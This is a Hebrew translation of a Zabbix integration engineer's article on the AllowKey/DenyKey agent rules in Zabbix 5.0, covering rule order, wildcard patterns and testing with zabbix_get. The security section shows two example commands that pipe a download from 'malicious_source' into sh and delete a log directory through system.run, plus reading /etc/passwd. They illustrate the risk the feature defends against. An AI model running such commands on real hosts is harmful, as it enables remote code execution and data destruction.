תמיכה ברשימה השחורה וברשימה הלבנה עבור מדדים בצד הסוכן ב- Zabbix 5.0

תמיכה ברשימה השחורה וברשימה הלבנה עבור מדדים בצד הסוכן

טיכון אוסקוב, מהנדס אינטגרציה, Zabbix

בעיות אבטחת מידע

ל-Zabbix 5.0 תכונה חדשה המאפשרת לשפר את האבטחה במערכות באמצעות Zabbix Agent ומחליפה את הפרמטר הישן EnableRemoteCommands.

שיפורים באבטחת מערכות מבוססות סוכנים נובעים מהעובדה שסוכן יכול לבצע מספר רב של פעולות שעלולות להיות מסוכנות.

• הסוכן יכול לאסוף כמעט כל מידע, כולל מידע סודי או פוטנציאלי מסוכן, מקובצי תצורה, קובצי יומן, קובצי סיסמאות או כל קובץ אחר.

לדוגמה, באמצעות כלי השירות zabbix_get אתה יכול לגשת לרשימת משתמשים, ספריות הביתיות שלהם, קבצי סיסמאות וכו'.

גישה לנתונים באמצעות כלי השירות zabbix_get

הערה. ניתן לאחזר נתונים רק אם לסוכן יש הרשאות קריאה בקובץ המתאים. אבל, למשל, הקובץ /etc/passwd/ קריא לכל המשתמשים.

• הסוכן יכול גם לבצע פקודות שעלולות להיות מסוכנות. לדוגמה, מקש *system.run[]** מאפשר לך לבצע כל פקודה מרחוק בצמתי רשת, כולל הפעלת סקריפטים מממשק האינטרנט של Zabbix שמבצעים גם פקודות בצד הסוכן.

# zabbix_get -s my.prod.host -k system.run["wget http://malicious_source -O- | sh"]

# zabbix_get -s my.prod.host -k system.run["rm -rf /var/log/applog/"]

• ב-Linux, הסוכן פועל כברירת מחדל ללא הרשאות שורש, בעוד ב-Windows הוא פועל כשירות כמערכת ויש לו גישה בלתי מוגבלת למערכת הקבצים. בהתאם לכך, אם לא יבוצעו שינויים בפרמטרים של Zabbix Agent לאחר ההתקנה, לסוכן יש גישה לרישום, למערכת הקבצים והוא יכול לבצע שאילתות WMI.

בגרסאות קודמות הפרמטר EnableRemoteCommands=0 מותר רק להשבית מדדים עם המפתח *system.run[]** והפעלת סקריפטים מממשק האינטרנט, אך לא הייתה דרך להגביל גישה לקבצים בודדים, לאפשר או להשבית מפתחות בודדים שהותקנו עם הסוכן, או להגביל את השימוש בפרמטרים בודדים.

שימוש בפרמטר EnableRemoteCommand בגרסאות קודמות של Zabbix

AllowKey/DenyKey

Zabbix 5.0 עוזר להגן מפני גישה בלתי מורשית כזו על ידי אספקת רשימות הלבנות ורשימות שחורות לאפשר ולשלול מדדים בצד הסוכן.

ב-Zabix 5.0 כל המפתחות, כולל *system.run[]** מופעלים, ונוספו שתי אפשרויות תצורת סוכן חדשות:

AllowKey= - המחאות מותרות;

DenyKey= - צ'קים אסורים;

איפה הוא דפוס שם מפתח עם פרמטרים שמשתמש בתווים מטא (*).

המקשים AllowKey ו-DenyKey מאפשרים לך לאפשר או לדחות מדדים בודדים על סמך דפוס מסוים. בניגוד לפרמטרים אחרים של תצורה, מספר הפרמטרים של AllowKey/DenyKey אינו מוגבל. זה מאפשר להגדיר בבירור מה בדיוק הסוכן יכול לעשות במערכת על ידי יצירת עץ צ'קים - מפתחות הפעלה, כאשר סדר כתיבתם משחק תפקיד חשוב ביותר.

רצף של כללים

הכללים נבדקים לפי סדר הזנתם לקובץ התצורה. המפתח נבדק לפי הכללים לפני ההתאמה הראשונה, וברגע שהמפתח של אלמנט הנתונים תואם לתבנית, הוא מותר או נדחה. לאחר מכן, בדיקת הכללים נעצרת ומתעלמים מהמפתחות הנותרים.

לכן, אם רכיב תואם גם לכלל אישור וגם לכלל דחייה, התוצאה תהיה תלויה באיזה כלל נמצא ראשון בקובץ התצורה.

2 חוקים שונים עם אותו דפוס ומפתח vfs.file.size[/tmp/file]

סדר השימוש במפתחות AllowKey/DenyKey:

1. חוקים מדויקים,
2. חוקים כלליים,
3. כלל איסור.

לדוגמה, אם אתה צריך גישה לקבצים בתיקייה מסוימת, עליך לאפשר תחילה גישה אליהם, ולאחר מכן לדחות את כל השאר שאינו נופל במסגרת ההרשאות שנקבעו. אם תחילה נעשה שימוש בכלל הדחייה, הגישה לתיקיה תישלל.

רצף נכון

אם אתה צריך לאפשר ל-2 כלי שירות לפעול באמצעות *system.run[]**, והכלל המכחיש יצוין תחילה, כלי השירות לא יופעלו, מכיוון שהתבנית הראשונה תמיד תתאים לכל מפתח, והכללים הבאים יתעלמו.

רצף לא נכון

דפוסים

כללי יסוד

דפוס הוא ביטוי עם תווים כלליים. התו המטא (*) מתאים לכל מספר של תווים כלשהם במיקום ספציפי. ניתן להשתמש בתווים מטא גם בשם המפתח וגם בפרמטרים. לדוגמה, אתה יכול להגדיר בקפדנות את הפרמטר הראשון עם טקסט, וציין את הבא כתו כללי.

פרמטרים חייבים להיות מוקפים בסוגריים מרובעים [].

• system.run[* - שגוי
• vfs.file*.txt] - שגוי
• vfs.file.*[*] - ימין

דוגמאות לשימוש בתו כללי.

1. בשם המפתח ובפרמטר. במקרה זה, המפתח אינו מתאים למפתח דומה שאינו מכיל פרמטר, שכן בתבנית ציינו שאנו רוצים לקבל סיום מסוים של שם המפתח ומערכת מסוימת של פרמטרים.
2. אם התבנית אינה משתמשת בסוגריים מרובעים, התבנית מאפשרת את כל המפתחות שאינם מכילים פרמטרים ושוללת את כל המפתחות המכילים את הפרמטר שצוין.
3. אם המפתח נכתב במלואו והפרמטרים מצוינים כתווים כלליים, הוא יתאים לכל מפתח דומה עם פרמטרים כלשהם ולא יתאים למפתח ללא סוגריים מרובעים, כלומר יותר או יידחה.

כללים למילוי פרמטרים.

• אם מיועד לשימוש במפתח עם פרמטרים, יש לציין את הפרמטרים בקובץ התצורה. יש לציין פרמטרים כמטא-תו. יש צורך לשלול בזהירות גישה לכל קובץ ולקחת בחשבון איזה מידע המדד יכול לספק באיותים שונים - עם ובלי פרמטרים.

תכונות של כתיבת מפתחות עם פרמטרים

• אם צוין מפתח עם פרמטרים, אך הפרמטרים הם אופציונליים ומצוינים כמטא-תו, מפתח ללא פרמטרים ייפתר. לדוגמה, אם ברצונך להשבית את קבלת המידע על העומס על המעבד ולציין שיש לבטל את מפתח system.cpu.load[*], אל תשכח שהמפתח ללא פרמטרים יחזיר את ערך העומס הממוצע.

כללים למילוי פרמטרים

הערות

התאמה

• כללים מסוימים אינם ניתנים לשינוי על ידי המשתמש, לדוגמה, כללי גילוי או כללי רישום אוטומטי של סוכן. כללי AllowKey/DenyKey אינם משפיעים על הפרמטרים הבאים:
  - HostnameItem
  - HostMetadataItem
  - HostInterfaceItem

הערה. אם מנהל מערכת משבית מפתח, כאשר נשאל, Zabbix אינו מספק מידע על הסיבה שהמדד או המפתח נכנסים לקטגוריה 'אינו נתמך'. מידע על איסורים על ביצוע פקודות מרחוק גם אינו מוצג בקובצי היומן של הסוכן. זה מטעמי אבטחה, אבל עלול להקשות על איתור באגים אם מדדים נכנסים לקטגוריה לא נתמכת מסיבה כלשהי.

• אין להסתמך על שום סדר ספציפי לחיבור קבצי תצורה חיצוניים (לדוגמה, לפי סדר אלפביתי).

כלי עזר של שורת הפקודה

לאחר הגדרת הכללים, עליך לוודא שהכל מוגדר כהלכה.

אתה יכול להשתמש באחת משלוש אפשרויות:

• הוסף מדד ל-Zabix.
• בדוק עם zabbix_agentd. סוכן Zabbix עם אופציה -הדפס (-p) מציג את כל המפתחות (שמותרים כברירת מחדל) למעט אלו שאינם מותרים על ידי התצורה. ועם האופציה -מבחן (-t) כי מפתח אסור יחזור 'מפתח פריט לא נתמך'.
• בדוק עם zabbix_get. תוֹעֶלֶת zabbix_get עם אפשרות -k יחזור 'ZBX_NOTSUPPORTED: מדד לא ידוע'.

אפשר או דחה

אתה יכול למנוע גישה לקובץ ולאמת, למשל, באמצעות כלי השירות zabbix_getשהגישה לקובץ נדחית.

**

הערה. מתעלמים ממרכאות בפרמטר.

במקרה זה, ייתכן שתתאפשר גישה לקובץ כזה דרך נתיב אחר. לדוגמה, אם קישור סימול מוביל אליו.

מומלץ לבדוק אפשרויות שונות ליישום הכללים הנקובים, וכן לקחת בחשבון את אפשרויות עקיפת האיסורים.

שאלות ותשובות

שאלה. מדוע נבחר דפוס כה מורכב עם שפה משלו לתיאור חוקים, הרשאות ואיסורים? מדוע לא ניתן היה להשתמש, למשל, בביטויים הרגולריים שבהם משתמש Zabbix?

תשובה. זוהי בעיית ביצועים רגקס מכיוון שבדרך כלל יש רק סוכן אחד והוא בודק מספר עצום של מדדים. Regex היא פעולה די כבדה ואנחנו לא יכולים לבדוק אלפי מדדים בדרך זו. תווים כלליים - פתרון אוניברסלי, בשימוש נרחב ופשוט.

שאלה. האם הקבצים 'כלול' אינם כלולים בסדר אלפביתי?

תשובה. עד כמה שידוע לי, זה כמעט בלתי אפשרי לחזות את הסדר שבו יחולו כללים אם תפזר את הכללים על פני קבצים שונים. אני ממליץ לאסוף את כל כללי AllowKey/DenyKey בקובץ Include אחד, מכיוון שהם מקיימים אינטראקציה זה עם זה, ולכלול את הקובץ הזה.

שאלה. ב- Zabbix 5.0 האפשרות 'EnableRemoteCommands=' חסר בקובץ התצורה, ורק AllowKey/DenyKey זמינים?

תשובה. כן זה נכון.

תודה לך!

מקור: www.habr.com